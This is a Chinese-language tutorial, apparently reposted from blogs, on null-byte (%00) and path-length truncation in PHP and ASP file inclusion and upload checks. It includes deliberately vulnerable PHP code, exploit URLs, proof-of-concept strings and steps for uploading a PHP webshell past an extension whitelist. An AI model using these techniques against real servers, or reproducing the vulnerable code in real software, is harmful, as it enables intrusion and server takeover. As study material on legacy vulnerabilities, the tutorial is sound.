这段代码从URL处获得参数username的值,然后显示在页面中。
可见%00之后的内容没有保存到变量中。
下面在网站中直接上传asp程序
可见网站阻止上传
利用Burp工具来实现0x00的截断,首先上传ma1.asp[空格]1.jpg获取到上传请求,随后点击action,并选择Send to Repeater
在Repeater选项卡中点击要更改的字节,(该网站将空格变为了+),将表示+的0x2b改为0x00,
然后点击Go,返回到proxy中,查看hex可见更改已经起效。
通过上面的结果可知当asp代码file = Request.Form("file")得到文件名时,0x00之后的内容已经被删除了。
所以如果想利用0x00来达到攻击的目的,相应的网站代码也必须是存在截断上传漏洞的,而此例中的代码不具有此漏洞。
类似的来看看php中的情况
过程和asp的类似
上传ma2.php 1.jpg
在repeater中更改相应的字节 0x20->0x00
回头在看proxy中相应的字节已经被更改
最终显示的结果是
可见$_FILES['file']['name']在得到文件名时0x00之后的内容已经不见了,如果在此基础上判断后缀名是否合法,则肯定不能通过。
综上所述,0x00不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截断上传漏洞。
转自 http://blog.csdn.net/hitwangpeng/article/details/47042971
截断在文件包含和上传中的利用
截断大概可以在以下情况适用
include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制
0x01. 本地文件包含
1.1 截断类型:php %00截断
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的
magic_quotes_gpc
为OFF状态
漏洞文件lfi.php
<?php $temp = $_REQUEST['action'].".php"; include $temp; // include造成了LFI和php的%00截断 ?>
要include的password文件
Password <?php phpinfo(); ?>
利用代码:lfi.php?action=password%00
注意:url正宗%00是被会url解码成0x00,所以可能导致截断。
password文件被成功包含并且执行phpinfo()函数。
如果没有截断条件,lfi.php就只能包含php扩展名的文件。
相反,如果有截断条件,lfi.php可以包含任意文件的扩展名。
当把magic_quotes_gpc
打开,php版本依然是5.2.9时,再测试,结果%00被转义成了\0
两个单体字符,不再具有截断功能。
原因是:当打开magic_quotes_gpc
时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()
、mysql_real_escape_string()
等
当把magic_quotes_gpc
关闭,php版本依然是5.3.10时,依然不能截断。所以证明,php版本和gpc两个条件都必须满足,才能截断。
除了上面的include、require、include_once、require_once还有file_get_contents也能配合php %00利用。
FileGetContents.php
1
2
3
4
5
|
<?php
$file = $_GET[ 'file' ]. 'PNG' ;
$contents = file_get_contents($file);
file_put_contents( 'put.txt' , $contents);
?>
|
利用方式:
http://www.victim.com/FileGetContents.php?file=password%00
此时可以看到当前目录put.txt是上面password中的内容。
1
2
3
4
5
6
7
|
Password
<?php
phpinfo();
?>
|
1.2 文件路径长度截断
除了1.1说的%00可以截断,还可以用字符.
或者/.
,或者./
(注意顺序)来截断,不能纯用/
,至于为什么,不能用其他字符,想必应该和php实现有关。
系统文件路径长度限制:
windows 259个byteslinux 4096个bytes
具体可以看这篇文章:http://joychou.org/index.php/Misc/filename-length-limit-on-windows-linux.html
截断条件:
php版本为5.3.4以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)GPC是否开启没关系
漏洞代码lfi.php,和1.1中的lfi.php一样
1
2
3
4
5
|
<?php
$temp = $_REQUEST[ 'action' ]. ".php" ;
include $temp;
echo $temp;
?>
|
在windows下需要.
字符最少的利用POC:
lfi.php?action=password..............................................................................................................................................................................................................................................`
成功包含,执行password里面的phpinfo函数
加上根目录路径一共为258个字节。所以需要的最少的
.
数为258 - (lfi.php文件的路径长度即
C:/wamp/www/
+strlen('password'))
或者用./
截断,最短的POC为,并且最短路径长度为258
lfi.php?action=password./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
将password文件名改为password123后,最短的POC为,最短路径长度依然为258
lfi.php?password123/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
注意这两者一个是/开始,一个是.开始,这和路径长度的奇偶有关系,真正遇到这样的情况,就丢很长的/.
,最后再跳整下第一个/
或者.
即可。
linux就自行测试吧。
0x02. 文件上传截断类型:php的%00截断。所以截断的条件依然是php %00截断的条件
php版本5.3.4以下gpc关闭
测试环境:
php版本5.2.9gpc关闭
漏洞代码 upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<html>
<body>
<h2> File Upload Vulnerability </h2>
<form action= "" method= "post" enctype= "multipart/form-data" >
<label>文件:</label>
<input type= "file" name = "file" > <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数-->
<input type= "submit" value= "submit" name = "upload" >
</form>
</body>
</html>
<?php
error_reporting( 0 );
if (isset($_POST[ 'upload' ]))
{
$ext_arr = array( 'flv' , 'swf' , 'mp3' , 'mp4' , '3gp' , 'zip' , 'rar' , 'gif' , 'jpg' , 'png' , 'bmp' );
$file_ext = substr($_FILES[ 'file' ][ 'name' ],strrpos($_FILES[ 'file' ][ 'name' ], "." )+ 1 );
if (in_array($file_ext,$ext_arr))
{
$tempFile = $_FILES[ 'file' ][ 'tmp_name' ];
// 这句话的$_REQUEST['jieduan']造成可以利用截断上传
$targetPath = $_SERVER[ 'DOCUMENT_ROOT' ].$_REQUEST[ 'jieduan' ].rand( 10 , 99 ).date( "YmdHis" ). "." .$file_ext;
if (move_uploaded_file($tempFile,$targetPath))
{
echo '上传成功' . '<br>' ;
echo '路径:' .$targetPath;
}
else
{
echo( "上传失败" );
}
}
else
{
echo( "上传失败" );
}
}
?>
|
这个漏洞代码是我YY的,可能实际情况不一定能够用上。只是证明截断可以达到上传的功能。
先将一个php木马重命名为上面扩展名为白名单的后缀,比如.jpg
访问:http://www.victim.com/upload.php?jieduan=xxoo.php%00
点击submit按钮,就在server上生成了一个xxoo.php的马。
0x03. file_exists判断文件是否存在
file_exists在判断文件存在的时候也有被截断的现象。
截断条件:
php版本小于5.3.4GPC关闭状态
漏洞代码如下,和CVE-2014-8959 phpmyadmin的这个漏洞一样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
$file = $_GET[ 'file' ];
$filename = $file . '.php' ;
echo $filename . '<br>' ;
if (! file_exists($filename)){
echo 'not exist' ;
}
else {
include_once($filename);
echo 'exist' ;
}
?>
|
当前目录存在一个shell.jpg文件,此时访问?file=shell.jpg%00,返回结果是文件存在。
有一个小技巧:
当上面文件第五行变成$filename = 'xxoo' . $file . '.php';
,如果仍然要用shell.jpg,那么只需这样构造:?file=/../shell.jpg%00
,利用/../
回到当前目录。
在php中一些目录切换
../表示上一层目录./表示当前目录
/单独使用不能表示当前目录,只用xx/这样才能表示xx这个目录